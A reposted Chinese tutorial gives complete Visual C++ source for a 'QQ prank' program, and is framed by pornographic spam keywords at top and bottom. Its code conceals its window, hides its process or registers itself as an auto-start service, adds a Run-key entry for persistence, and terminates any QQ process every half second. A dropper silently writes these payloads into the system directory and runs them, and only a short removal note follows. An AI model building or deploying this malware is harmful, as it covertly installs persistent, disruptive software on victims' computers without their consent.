欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
親手打造一個(gè)QQ惡作劇程序
程序原理:獲取系統中的所有進(jìn)程,并保存在一個(gè)數組中,然后在數組中查找含有QQ,oicq,qq,OICQ字樣的進(jìn)程,如果找到就立即殺掉該進(jìn)程.這樣你一運行QQ,QQ進(jìn)程就會(huì )被立即殺掉,也就是說(shuō)如果該惡作劇程序一直運行你就不能上QQ了.呵呵,這招是不是有點(diǎn)毒啊?好了,現在一步一步的來(lái)講程序的編寫(xiě)過(guò)程.

首先我們要解決的問(wèn)題是如何實(shí)現惡作劇程序的自我隱藏,關(guān)于進(jìn)程隱藏的文章很多,我就只簡(jiǎn)單的介紹一下了.在Win9X系統下可以通過(guò)調用RegisterServiceProcess API這個(gè)API函數將進(jìn)程注冊為一個(gè)服務(wù)模式的進(jìn)程,這樣在Win9X系統下用Ctrl+Alt+Del調出的任務(wù)管理器中將不會(huì )出現這個(gè)進(jìn)程了.RegisterServiceProcess API函數存放于系統內核Kernel32.dll中.具體聲明如下:
DWORD RegisterServiceProcess(
DWORD dwProcessId, //服務(wù)進(jìn)程的進(jìn)程標志,如果為NULL表示當前進(jìn)程
DWORD dwType //如果參數為RSP_SIMPLE_SERVICE 表示注冊當前進(jìn)程
//如果參數為RSP_UNREGISTER_SERVICE 表示取消當前進(jìn)程的注冊
);
函數調用成功返回1,否則返回0
通過(guò)對RegisterServiceProcess 這個(gè)API函數的調用我們就能實(shí)現在Win9X系統下的進(jìn)程隱藏了.但是要在WinNT系統下真正的實(shí)現進(jìn)程隱藏就沒(méi)有在Win9X系統下那么簡(jiǎn)單了.只要進(jìn)程以進(jìn)程內核的形式運行,進(jìn)程就將出現在任務(wù)管理器中.要實(shí)現WinNT下進(jìn)程的真正隱藏,只能以非進(jìn)程的方式執行目標代碼,也就是說(shuō)把目標代碼以線(xiàn)程的方式遠程注冊到宿主進(jìn)程中.關(guān)于這種方法的實(shí)現已經(jīng)有文章介紹,在這里就不多說(shuō)了.在這里,我并沒(méi)有采用這種隱藏進(jìn)程的方法而是將進(jìn)程注冊為系統的一個(gè)名為Service的服務(wù)進(jìn)程,雖然這樣并沒(méi)有真正的隱藏進(jìn)程,但是在一般情況下還是不容易發(fā)現的.在Win2000下用任務(wù)管理器查看進(jìn)程時(shí)是不能結束該進(jìn)程的,必須通過(guò)控制面板中的服務(wù)管理控制臺來(lái)停止服務(wù),也可以在命令行下用net stop service來(lái)停止服務(wù)在XP下可以通過(guò)任務(wù)管理器結束該進(jìn)程.這里簡(jiǎn)單介紹一下WinNT中的服務(wù)程序:
在WinNT中,一些后臺服務(wù)程序是隨著(zhù)系統的啟動(dòng)而自動(dòng)加載的.用戶(hù)也可以通過(guò)控制面板中的服務(wù)管理控制臺對服務(wù)的屬性進(jìn)行靈活的設置.甚至在用戶(hù)沒(méi)有登陸的情況下這些服務(wù)程序也能啟動(dòng),象Ftp服務(wù),WWW服務(wù)和一些數據庫就是以服務(wù)的形式存在于NT服務(wù)器上從而實(shí)現了無(wú)人職守. 在NT操作系統中,所有的后臺服務(wù)全都由服務(wù)控制管理器進(jìn)行統一管理,這些后臺服務(wù)的狀態(tài)數據都保存在服務(wù)控制管理器數據庫中.所以要想創(chuàng )建一個(gè)新的后臺服務(wù),在應用程序的主模塊里應首先調用函數OpenSCManager打開(kāi)該數據庫,再調用函數CreateService在此數據庫中創(chuàng )建1個(gè)新的服務(wù)線(xiàn)程對象,并將該線(xiàn)程對象啟動(dòng)屬性設置為隨系統啟動(dòng)自動(dòng)加載,這樣NT在重新啟動(dòng)時(shí)該線(xiàn)程就會(huì )由NT自動(dòng)啟動(dòng).完成這一步,僅僅實(shí)現了后臺服務(wù)線(xiàn)程對象的注冊,還沒(méi)有建立與服務(wù)控制管理器的聯(lián)結.要想啟動(dòng)服務(wù)可以通過(guò)函數StartService來(lái)完成,具體的過(guò)程我們將在編寫(xiě)Service.exe的時(shí)候介紹.
說(shuō)了這么多,你也許都看得不耐煩了吧,OK,現在正式切入主題,開(kāi)始動(dòng)手打造我們的QQ惡作劇程序.程序由三部分組成,主程序funny.exe,kernel.exe,Service.exe.首先我們先把kernel.exe和Service.exe程序寫(xiě)好,這兩個(gè)是完成主要功能的程序.然后將其轉換成16進(jìn)制代碼放在在funny.exe定義的兩個(gè)全局字符數組中,當funny.exe運行的時(shí)候根據操作系統的版本決定在系統目錄下創(chuàng )建kernel.exe還是Service.exe.kernel.exe將被創(chuàng )建到Win9X的系統目錄下,Service.exe將被創(chuàng )建到Win2000/XP的系統目錄下.
現在我們開(kāi)始來(lái)編寫(xiě)kernel.exe:
打開(kāi)VC++6.0(啊?不要告訴我你電腦上沒(méi)有裝吧,那趕緊去裝一個(gè),不然你怎么寫(xiě)程序呢?呵呵)
運行AppWizard創(chuàng )建一個(gè)對話(huà)框應用程序.工程名為kernel.在CKernelDlg類(lèi)中添加HideWindow(),HideProcess(),
Reg()三個(gè)函數.代碼如下:
//隱藏對話(huà)框窗體
void CKernelDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW ;
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//將進(jìn)程注冊為服務(wù)模式的進(jìn)程從而隱藏自身
void CKernelDlg::HideProcess()
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)
GetProcAddress(hDLL,"RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(hDLL);
}
//修改注冊表,開(kāi)機時(shí)自動(dòng)運行
void CKernelDlg::Reg()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\kernel.exe");
DWORD dwValue;
CRegKey Key;
LPCTSTR lpszKeyname="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
if(Key.Open(HKEY_LOCAL_MACHINE,lpszKeyname)==ERROR_SUCCESS)
if( Key.QueryValue(dwValue,"Kernel")!=ERROR_SUCCESS)
Key.SetValue(lpsysfilename,"Kernel");
Key.Close();
}
這里用到了CRegKey類(lèi),需要在KernelDlg.cpp中添加頭文件atlbase.h關(guān)于CRegKey的詳細用法可以參考MSDN幫助文檔.然后利用類(lèi)向導添加WM_TIMER消息,并在消息響應函數中加入以下代碼:
void CKernelDlg::OnTimer(UINT nIDEvent)
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
//枚舉系統中的所有進(jìn)程并保存在數組類(lèi)對象m_PEArray中
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
//在保存進(jìn)程的數組中查找是否含有QQ,OICQ,qq,oicq字樣的進(jìn)程找到立即將其結束
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray[i].szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray[i].th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

CDialog::OnTimer(nIDEvent);
}
其中m_PEArray的定義如下:CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;,在對話(huà)框初始化函數中加入以下代碼:
BOOL CKernelDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隱藏對話(huà)框窗口
HideProcess(); //Win9x下在任務(wù)管理器中隱藏進(jìn)程
Reg(); //改寫(xiě)注冊表,開(kāi)機自動(dòng)運行
SetTimer(1,500,NULL); //設定記時(shí)器,不斷刷新進(jìn)程數組,并尋找QQ程將其結束
return TRUE;
}
這樣kernel.exe程序就完成了,現在可以編譯連接成可執行文件了.(后附工程文件).
編寫(xiě)Service.exe:

創(chuàng )建一個(gè)名為Service的Win32 Console Application程序,選擇對MFC的支持Service.cpp的代碼如下:
/******************************************************************/
/*Module:Service.cpp */
/*Author:Inetufo */
/*Email:Inetufo@thugx.com */
/*Date:2003/3/7 */
/******************************************************************/
// Service.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "Service.h"
#include "winsvc.h"
#include <atlbase.h> //CRegKey類(lèi)需要的頭文件
#include <Afxtempl.h> //CArray類(lèi)需要的頭文件
#include <tlhelp32.h> //ToolHelp函數需要的頭文件

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object
CWinApp theApp;
using namespace std;
SERVICE_STATUS_HANDLE ssh;
SC_HANDLE scm,svc;
SERVICE_STATUS ss;
CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
void InstallService();
UINT KillQQ(LPVOID lpvoid);

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TOD change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{

SERVICE_TABLE_ENTRY ste[2];
//線(xiàn)程入口表
ste[0].lpServiceName="Service"; //線(xiàn)程名字
ste[0].lpServiceProc=ServiceMain; //線(xiàn)程入口地址
//可以有多個(gè)線(xiàn)程,最后一個(gè)必須為NULL
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
InstallService();
}

return nRetCode;
}
//安裝并啟動(dòng)服務(wù)
void InstallService()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\Service.exe");
scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(scm!=NULL)
svc=CreateService(scm,"Service","Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS│SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,lpsysfilename,NULL,NULL,NULL,NULL,NULL);
if(svc!=NULL)
svc=OpenService(scm,"Service",SERVICE_START);
if (svc!=NULL)
{
StartService(svc,0,NULL);
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
}
//服務(wù)的真正入口點(diǎn)函數
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{


ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_START_PENDING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ss.dwServiceSpecificExitCode = 0;
ss.dwWin32ExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
ssh=RegisterServiceCtrlHandler("Service",Handler);
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
AfxBeginThread(KillQQ,NULL,NULL); //開(kāi)始一個(gè)工作線(xiàn)程實(shí)現程序功能
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);


}
//處理服務(wù)要求
void WINAPI Handler(DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP:
ss.dwCurrentState =SERVICE_STOPPED;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSED;
SetServiceStatus (ssh,&ss);
break;

case SERVICE_CONTROL_INTERROGATE:
break;
}

SetServiceStatus (ssh,&ss);
}
//在進(jìn)程列表中查找QQ程序并殺掉的線(xiàn)程函數
UINT KillQQ(LPVOID lParam)
{
while(1)
{

m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray[i].szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray[i].th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

Sleep(500);
}
return 0;
}
編譯連接可以生成Service.exe程序.(后附整個(gè)工程)
現在我們已經(jīng)得到了實(shí)現功能的兩個(gè)程序,kernel.exe是在Win9X系統下實(shí)現功能的程序,Service.exe是Win2000/XP下實(shí)現功能的程序.現在就要將這兩個(gè)文件轉化成16進(jìn)制代碼.可以通過(guò)一個(gè)程序來(lái)實(shí)現,建立一個(gè)名為exe2hex的Win32 Console Application程序,程序代碼如下:
#include <stdio.h>
#include <windows.h>
int main(int argc,char **argv)
{
HANDLE hFile;
DWORD dwSize,dwRead,dwIndex=0,i;
unsigned char *lpBuff=NULL;
__try
{
if(argc!=2)
{
printf("\nUsage: %s <File>",argv[0]);
__leave;
}

hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("\nOpen file %s failed:%d",argv[1],GetLastError());
__leave;
}
dwSize=GetFileSize(hFile,NULL);
if(dwSize==INVALID_FILE_SIZE)
{
printf("\nGet file size failed:%d",GetLastError());
__leave;
}
lpBuff=(unsigned char *)malloc(dwSize);
if(!lpBuff)
{
printf("\nmalloc failed:%d",GetLastError());
__leave;
}
while(dwSize>dwIndex)
{
if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))
{
printf("\nRead file failed:%d",GetLastError());
__leave;
}
dwIndex+=dwRead;
}
for(i=0;i<dwSize;i++)
{
if((i%16)==0)
if(i==0)
printf("\"");
else
printf("\"\n\"");
printf("\\x%.2X",lpBuff[i]);
}
printf("\"");
}//end of try
__finally
{
if(lpBuff) free(lpBuff);
CloseHandle(hFile);
}
return 0;
}
編譯出可執行文件exe2hex.exe,執行exe2hex kernel.exe >kernel.txt將輸出結果重定向到一個(gè)文本文件就得到了kernel.exe的16進(jìn)制代碼,同理可以得到Service.exe的16進(jìn)制代碼.
啊,寫(xiě)了這么多還真有點(diǎn)累了,不過(guò)還好總算要完成了,歇口氣.最后我們來(lái)編寫(xiě)主程序funny.exe:
用AppWizard生成一個(gè)名為funny的對話(huà)框程序.定義兩個(gè)全局字符數組用來(lái)保存kernel.exe和Service.exe
的16進(jìn)制代碼:char exebuff9x[]="kernel.exe的16進(jìn)制代碼" char exebuff2k[]="Service.exe的16進(jìn)制代碼".添加HideWindow(),IsWin9X(),CreateFileService9x(CString FileName),CreateFileService2k
(CString FileName),RunService(CString FileName)幾個(gè)函數,其代碼和實(shí)現的功能如下:
//隱藏主窗口
void CFunnyDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW ;
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//獲取操作系統版本信息
BOOL CFunnyDlg::IsWin9X()
{
DWORD dwVersion;
dwVersion=::GetVersion();
if (dwVersion >= 0x80000000) //Win9x
return TRUE;
else
return FALSE; //Win2K/WinXP
}
//如果系統是Win9x則在系統目錄下創(chuàng )建kernel.exe
void CFunnyDlg::CreateFileService9x(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff9x);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
return ;
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff9x[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return ;
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return ;
}
//如果系統是Win2k/XP則在系統目錄下創(chuàng )建Service.exe
void CFunnyDlg::CreateFileService2k(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff2k);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
return ;
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff2k[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return ;
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return ;
}
//運行創(chuàng )建的kernel.exe或者Service.exe
void CFunnyDlg::RunService(CString FileName)
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW;
BOOL bRet=::CreateProcess(lpsysfilename,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return ;
}
在對話(huà)框的初始化函數里面調用上面定義的函數,其主要代碼如下:
BOOL CFunnyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隱藏對話(huà)框窗口
CString FileName="\\kernel.exe";
if(IsWin9X()) //判斷操作系統類(lèi)型
{
CreateFileService9x(FileName); //在系統目錄下創(chuàng )建kernel.exe
RunService(FileName); //運行kernel.exe
}
else
{
FileName="\\Service.exe";
CreateFileService2k(FileName); //在系統目錄下創(chuàng )建Service.exe文件
RunService(FileName); //運行Service.exe
}
AfxBeginThread(ThreadMessage,NULL,NULL); //執行線(xiàn)程函數ThreadMessage
return TRUE;
}
好了,funny程序也完成了,現在可以編譯連接成可執行程序了,整個(gè)程序就算寫(xiě)完了,你可以測試一下了以上代碼在Win98,Win2000,WinXp,VC++6.0環(huán)境下調試通過(guò).(附整個(gè)工程文件).寫(xiě)了這么多快要累死了.如果有什么問(wèn)題請來(lái)信Inetufo@thugx.com,歡迎指教J


解決方法:
WIN98:
系統目錄下將生成kernel.exe文件,可以先將注冊表項HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersions\Run下面的kernel子鍵刪除.重起系統再刪除系統目錄下的kernel.exe文件
Win2K/XP:
運行服務(wù)控制管理器,停止掉Service服務(wù),然后將系統目錄下的Service.exe文件刪除,要把服務(wù)從服務(wù)管理器中清除可以將HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services下面的Service鍵刪除即可.
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
PE文件結構分析
通過(guò)代碼實(shí)現EXE文件圖標的替換
【原創(chuàng )&交流】PE文件格式的一些研究 - VC/MFC / 基礎類(lèi)
一個(gè)完整的共享內存類(lèi)
URLDownloadToFile
文件操作:CreateFile和WriteFile的學(xué)習
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久